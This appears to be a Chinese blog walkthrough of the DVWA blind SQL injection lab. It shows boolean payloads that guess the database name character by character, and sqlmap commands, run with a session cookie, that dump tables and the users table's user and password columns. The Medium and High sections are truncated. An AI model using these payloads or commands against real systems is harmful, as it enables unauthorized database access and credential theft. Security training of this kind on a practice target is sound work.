SQL Injection (Blind)
SQL Injection (Blind)(SQL 盲注)
盲注部分的源码与 SQL Injection 一致,只不过将查询内容不是直接返回,变成了只返回是否存在。就要通过这一特性来设置 payload 猜测要注入的部分。
Low
Boolean盲注
-
获取数据库名
-
首先获取长度
1' and length(database())>3#
长度大于3
再输入
1' and length(database())>4#
长度小于等于4
所以用户名长度为 4
-
利用 ASCII 码猜测数据库的名称
首先猜测第一个字母
1' and substr(database(),1,1)='a'#
可以看到不是
a
再试
1' and substr(database(),1,1)='d'#
第一个字母是 d
同理猜测其他的字母,第二个字母是
1' and substr(database(),2,1)='v'#
其余的类似,不再赘述。 实际上做时,要写脚本或使用sqlmap,不然工作量太大,写脚本也不会按照ASCII表去一个个的尝试,可以先判断字符是不是字母,使用二分查找等方法。
-
利用 sqlmap
sqlmap 下载地址:https://sqlmap.org/
爆库过程如下:
首先 F12
命令行输入 document.cookie
将 cookie
复制下来,下面命令要用到
获取当前数据库名
1 | python sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "PHPSESSID=mhga8h7pbbs7lm9bu9pc1hrbfg; security=low" --technique B --current-db |
dvwa数据库所有表
1 | python sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "PHPSESSID=mhga8h7pbbs7lm9bu9pc1hrbfg; security=low" --technique B --tables -D dvwa |
dvwa数据库users表所有列
1 | python sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "PHPSESSID=mhga8h7pbbs7lm9bu9pc1hrbfg; security=low" --technique B --columns -D dvwa -T users |
dvwa数据库users表user和password列内容
1 | python sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "PHPSESSID=mhga8h7pbbs7lm9bu9pc1hrbfg; security=low" --technique B --dump -D dvwa -T users -C "user,password" |
成功!
Medium
利用 sqlmap,首先用 burp suite
抓包,然后将抓包的内容保存到 1.txt
文件中,然后使用命令依次获取信息
1 | 获得当前数据库: |
High
这关使用sqlmap主要注意要比low关增加一个参数 --level 2
,这样才会检测cookie中是否包含注入点(默认–level 1,不检测cookie)
1 | 当前数据库: |
成功
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 番茄元🍅の小窝!
评论